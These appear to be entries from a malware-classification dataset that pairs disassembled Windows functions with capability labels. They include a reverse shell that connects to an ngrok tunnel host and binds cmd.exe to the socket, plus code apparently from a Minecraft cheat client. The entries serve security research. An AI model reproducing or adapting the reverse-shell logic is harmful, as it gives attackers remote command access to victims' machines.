joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014d4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, str.cmd.exe
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 0
lea rax, [rbp - 0x40]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001539
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Falha_na_inicializao_do_Winsock._Cdigo_de_erro:__d_n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400016b1
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0xffffffffffffffff
jne 0x140001590
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Erro_ao_criar_o_socket._Cdigo_de_erro:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400016b1
mov word [rbp - 0x50], 2
mov ecx, 0x377e
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x4e], ax
lea rax, str.tcp:__0.tcp.sa.ngrok.io
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x4c], eax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x158]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x14000161f
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rax, str.Erro_ao_conectar._Cdigo_de_erro:__d_n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x1400016b1
cmp qword [rbp + 0x158], 0xffffffffffffffff
je 0x140001690
lea rax, str.Conectado._Abrindo_shell..._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x158]
mov edx, 0
mov rcx, rax
call sym.dup2
mov rax, qword [rbp + 0x158]
mov edx, 1
mov rcx, rax
call sym.dup2
mov rax, qword [rbp + 0x158]
mov edx, 2
mov rcx, rax
call sym.dup2
lea rax, [rbp - 0x60]
mov r8d, 0
mov rdx, rax
lea rax, str.cmd.exe
mov rcx, rax
call sym.execve
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x1e0
pop rbp
ret

Function at 0x1400019e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, rcx
lea rax, [rbp + 0x28]
mov ecx, 2
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov qword [rbp - 8], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rbp - 8]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001a50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
movsxd rsi, dword [0x14000c0a4]
mov rbx, rcx
test esi, esi
jle 0x140001b80
mov rax, qword [0x14000c0a8]
xor r9d, r9d
add rax, 0x18
nop dword [rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b23
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a80
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001ba2
mov rax, qword [0x14000c0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0a8]
lea rdx, [rbp - 0x30]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b87
mov eax, dword [rbp - 0xc]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b1c
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b30
add dword [0x14000c0a4], 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 2
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000c0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop word [rax + rax]
xor esi, esi
jmp 0x140001aa8
mov rax, qword [0x14000c0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002130
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea r13, [0x14000c100]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140002195
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ecx, dword [rbx]
call r12
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000218c
test eax, eax
jne 0x14000218c
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002170
mov rcx, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002400
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000244d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002444
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000244f
add rax, 0x28
cmp rax, r9
jne 0x140002430
xor eax, eax
ret

Function at 0x140002450
Capabilities:
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024e8
mov rdx, qword [0x140009800]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024d6
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024d6
cmp word [rax + 0x18], 0x20b
jne 0x1400024d6
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024e8
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024c1
add rbx, 0x28
cmp rbx, rdi
je 0x1400024e8
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024b8
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002500
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009800]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002520
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002528
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002520
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000257d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002574
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002520
add rax, 0x28
cmp rax, r9
jne 0x140002560
xor eax, eax
ret

Function at 0x140002580
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009800]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000259f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000259f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009800]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002630
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002627
test rcx, rcx
je 0x1400025e0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002618
xor eax, eax
ret
Function at 0x140002640
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009800]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000265f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002668
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009800]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400026a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002700
add rdx, 0x28
cmp rdx, r9
jne 0x1400026e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002710
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009800]
xor r8d, r8d
cmp word [r11], 0x5a4d
mov r10d, ecx
jne 0x140002734
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x140002740
mov rax, r8
ret
cmp word [rcx + 0x18], 0x20b
jne 0x140002734
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002734
movzx edx, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rdx, [rcx + rdx + 0x18]
test r9w, r9w
je 0x140002734
lea ecx, [r9 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
mov rcx, r8
cmp rax, r8
jb 0x14000278c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x1400027a0
add rdx, 0x28
cmp r9, rdx
jne 0x140002778
xor r8d, r8d
mov rax, r8
ret
add rax, r11
jmp 0x1400027b0
sub r10d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x1400027be
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002795
test r10d, r10d
jg 0x1400027a8
mov r8d, dword [rax + 0xc]
add r8, r11
mov rax, r8
ret
Function at 0x14003c110
Capabilities:
Create process on windows

Disassembly:
push rdi
sub rsp, 0x440
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x430], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
lea r8, [0x14041bcb0]
lea rdx, str.https:__www.vape.gg_app_auth_proceed__s
lea rcx, [rsp + 0x30]
call fcn.140014f70
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [0x14041ba7f], 1
mov rcx, qword [rsp + 0x430]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x440
pop rdi
ret
Function at 0x14003ff80
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14003fc90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14003ff50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movzx eax, byte [0x14041bb89]
test eax, eax
jne 0x14003ffe6
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14003ffce
add rsp, 0x38
ret
Function at 0x140048c60
Capabilities:
Enumerate gui resources

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x40
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
lea rax, [rsp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x20]
lea rcx, [0x140048ba0]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x140048cb8
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140048cb8
mov rax, qword [rsp + 0x28]
jmp 0x140048cba
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x40
pop rdi
ret

Function at 0x140048cd0
Capabilities:
Enumerate gui resources

Disassembly:
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x50
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x30]
call fcn.140011ae0
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x20]
call fcn.140048ef0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumWindows]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x140048d53
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x140048d53
cmp qword [rsp + 0x30], 0
je 0x140048d53
mov rax, qword [rsp + 0x30]
jmp 0x140048d55
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x50
pop rdi
ret

Function at 0x140048d70
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x850
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0x870]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x28]
mov rcx, qword [rsp + 0x868]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x140048e9d
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 8]
cmp dword [rsp + 0x28], eax
jne 0x140048e9d
mov r8d, 0x400
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x868]
call qword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x140048e9d
lea rdx, str.Minecraft
lea rcx, [rsp + 0x30]
call fcn.140048620
test rax, rax
jne 0x140048e20
lea rdx, str.Lunar
lea rcx, [rsp + 0x30]
call fcn.140048620
test rax, rax
je 0x140048e9d
lea rax, [rsp + 0x430]
mov rdi, rax
xor eax, eax
mov ecx, 0x401
rep stosb byte [rdi], al
mov r8d, 0x7de
lea rdx, [rsp + 0x430]
mov rcx, qword [rsp + 0x868]
call qword [sym.imp.USER32.dll_GetClassNameA]
lea rax, [rsp + 0x430]
lea rcx, str.ConsoleWindowClass
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140048e75
inc rax
test dl, dl
jne 0x140048e62
xor eax, eax
jmp 0x140048e7a
sbb eax, eax
or eax, 1
test eax, eax
je 0x140048e9d
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x868]
mov qword [rax], rcx
xor eax, eax
jmp 0x140048ea2
mov eax, 1
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x850
pop rdi
ret
Function at 0x140048f80
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x7a0
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x790], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140048fd4
xor al, al
jmp 0x1400491e2
lea rcx, [rsp + 0x50]
call fcn.140048f00
movzx eax, al
test eax, eax
je 0x14004919f
mov ecx, dword [rsp + 0x58]
call fcn.140016f40
mov qword [rsp + 0x20], rax
mov ecx, dword [rsp + 0x58]
call fcn.140048c60
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140049158
cmp qword [rsp + 0x20], 0
je 0x140049046
lea rdx, str.MojangTricksIntelDriversForPerformance
mov rcx, qword [rsp + 0x20]
call fcn.140048620
test rax, rax
je 0x140049046
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x7b0]
call fcn.140049200
jmp 0x140049158
lea rax, [rsp + 0x390]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov r8d, 0x400
lea rdx, [rsp + 0x390]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextA]
lea rdx, str.Minecraft_1.
lea rcx, [rsp + 0x390]
call fcn.140048620
test rax, rax
jne 0x1400490d7
lea rdx, [0x1403536a0]
lea rcx, [rsp + 0x390]
call fcn.140048620
test rax, rax
jne 0x1400490d7
lea rdx, str.Paladium
lea rcx, [rsp + 0x390]
call fcn.140048620
test rax, rax
jne 0x1400490d7
lea rdx, str._Client
lea rcx, [rsp + 0x390]
call fcn.140048620
test rax, rax
je 0x1400490eb
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x7b0]
call fcn.140049200
jmp 0x140049158
lea rax, [rsp + 0x290]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8d, 0x100
lea rdx, [rsp + 0x290]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetClassNameA]
lea rax, [rsp + 0x290]
lea rcx, str.LWJGL
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x14004913d
inc rax
test dl, dl
jne 0x14004912a
xor eax, eax
jmp 0x140049142
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140049158
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x7b0]
call fcn.140049200
cmp qword [rsp + 0x20], 0
je 0x14004919f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x38], rax
mov edx, 1
mov rcx, qword [rsp + 0x38]
call fcn.14027f980
cmp qword [rsp + 0x38], 0
jne 0x14004918c
mov qword [rsp + 0x48], 0
jmp 0x14004919f
mov qword [rsp + 0x20], 0x8123
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140048fd4
mov rcx, qword [rsp + 0x7b0]
call fcn.14001d830
movzx eax, al
test eax, eax
jne 0x1400491d5
mov dword [rsp + 0x28], 1
jmp 0x1400491dd
mov dword [rsp + 0x28], 0
movzx eax, byte [rsp + 0x28]
mov rcx, qword [rsp + 0x790]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x7a0
pop rdi
ret
Function at 0x14004b9d0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0xffffffff
mov qword [rsp + 8], 0
jmp 0x14004b9fd
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 8], rax
jae 0x14004ba41
mov rax, qword [rsp + 8]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x140406b00]
mov edx, dword [rsp]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov dword [rsp], eax
jmp 0x14004b9f0
mov eax, dword [rsp]
xor eax, 0xffffffff
add rsp, 0x18
ret
Function at 0x140053190
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x1c0
mov rax, qword [0x1403d66b0]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8, qword [rsp + 0x1d8]
lea rdx, str._s_Texture
lea rcx, [rsp + 0xb0]
call fcn.140014f70
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x34], 0
lea r8, [0x1403548bc]
lea rdx, [rsp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14005325b
mov dword [rsp + 0x38], 0
jmp 0x140053263
mov dword [rsp + 0x38], 0x80004005
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1400532a6
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140053296
mov dword [rsp + 0x3c], 0
jmp 0x14005329e
mov dword [rsp + 0x3c], 0x80004005
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1400532df
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400532cf
mov dword [rsp + 0x40], 0
jmp 0x1400532d7
mov dword [rsp + 0x40], 0x80004005
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x140053318
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x140053308
mov dword [rsp + 0x44], 0
jmp 0x140053310
mov dword [rsp + 0x44], 0x80004005
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0xa0]
call fcn.140002b60
mov qword [rsp + 0x20], rax
lea r9, [0x14036bed0]
mov r8d, 1
xor edx, edx
lea rcx, [0x1403424e8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x140053373
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0xa0]
call qword [rax + reloc.WS2_32.dll_WSASetLastError]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1400533a1
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x98]
call qword [rax + 0x80]
mov dword [rsp + 0x30], eax
mov rdx, qword [rsp + 0x1d8]
lea rcx, [rsp + 0x78]
call fcn.1400082a0
nop
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x1d0]
call fcn.140052f70
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x1d0]
lea rdx, [rsp + 0x78]
call fcn.140053710
mov rcx, qword [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
call fcn.1400089b0
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.14027f960
add rsp, 0x1c0
pop rdi
ret